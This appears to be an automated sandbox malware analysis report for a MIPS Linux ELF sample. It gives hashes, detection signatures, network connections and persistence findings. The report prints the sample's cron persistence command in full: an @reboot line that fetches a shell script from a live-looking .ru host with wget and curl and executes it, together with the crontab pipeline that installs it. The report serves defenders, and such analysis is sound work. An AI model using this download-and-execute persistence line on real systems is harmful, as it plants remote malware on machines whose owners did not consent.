Linux Analysis Report
nshmips.elf

Overview

General Information

Sample name: nshmips.elf
Analysis ID: 1542856
MD5: 36e86bb02185647aa672a226e7fe224f
SHA1: 66de8267b6fbef3423a21ed56e1fd68265882666
SHA256: 5e0ce8c68000a777556e21b71e015b368a8b361409ba0051bc93cd519c99f7cb
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: nshmips.elf Avira: detected
Source: nshmips.elf ReversingLabs: Detection: 23%
Source: tmp.1RidhP.18.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh
Source: global traffic TCP traffic: 192.168.2.23:46354 -> 194.87.198.29:6757
Source: global traffic TCP traffic: 192.168.2.23:52346 -> 88.151.195.22:22302
Source: global traffic TCP traffic: 192.168.2.23:43896 -> 185.82.200.181:15501
Source: global traffic TCP traffic: 192.168.2.23:40386 -> 51.89.127.38:25565
Source: global traffic TCP traffic: 192.168.2.23:41882 -> 91.149.218.232:16140
Source: /tmp/nshmips.elf (PID: 6219) Socket: 127.0.0.1:1172 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: unknown TCP traffic detected without corresponding DNS query: 51.89.127.38
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: tmp.1RidhP.18.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/nshmips.elf (PID: 6346) SIGKILL sent: pid: 6344, result: successful Jump to behavior
Source: classification engine Classification label: mal64.troj.linELF@0/1@13/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 6225) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 6224) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Source: /usr/bin/crontab (PID: 6224) File: /var/spool/cron/crontabs/tmp.1RidhP Jump to behavior
Source: /usr/bin/crontab (PID: 6224) File: /var/spool/cron/crontabs/root Jump to behavior
Source: /tmp/nshmips.elf (PID: 6221) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Source: /tmp/nshmips.elf (PID: 6219) Queries kernel information via 'uname': Jump to behavior
Source: nshmips.elf, 6219.1.00007ffd6f2a2000.00007ffd6f2c3000.rw-.sdmp, nshmips.elf, 6226.1.00007ffd6f2a2000.00007ffd6f2c3000.rw-.sdmp, nshmips.elf, 6344.1.00007ffd6f2a2000.00007ffd6f2c3000.rw-.sdmp, nshmips.elf, 6346.1.00007ffd6f2a2000.00007ffd6f2c3000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/nshmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nshmips.elf
Source: nshmips.elf, 6219.1.000055e1e7319000.000055e1e73c1000.rw-.sdmp, nshmips.elf, 6226.1.000055e1e7319000.000055e1e73c1000.rw-.sdmp, nshmips.elf, 6344.1.000055e1e7319000.000055e1e73c1000.rw-.sdmp, nshmips.elf, 6346.1.000055e1e7319000.000055e1e73c1000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: nshmips.elf, 6219.1.000055e1e7319000.000055e1e73c1000.rw-.sdmp, nshmips.elf, 6226.1.000055e1e7319000.000055e1e73c1000.rw-.sdmp, nshmips.elf, 6344.1.000055e1e7319000.000055e1e73c1000.rw-.sdmp, nshmips.elf, 6346.1.000055e1e7319000.000055e1e73c1000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: nshmips.elf, 6219.1.00007ffd6f2a2000.00007ffd6f2c3000.rw-.sdmp, nshmips.elf, 6226.1.00007ffd6f2a2000.00007ffd6f2c3000.rw-.sdmp, nshmips.elf, 6344.1.00007ffd6f2a2000.00007ffd6f2c3000.rw-.sdmp, nshmips.elf, 6346.1.00007ffd6f2a2000.00007ffd6f2c3000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs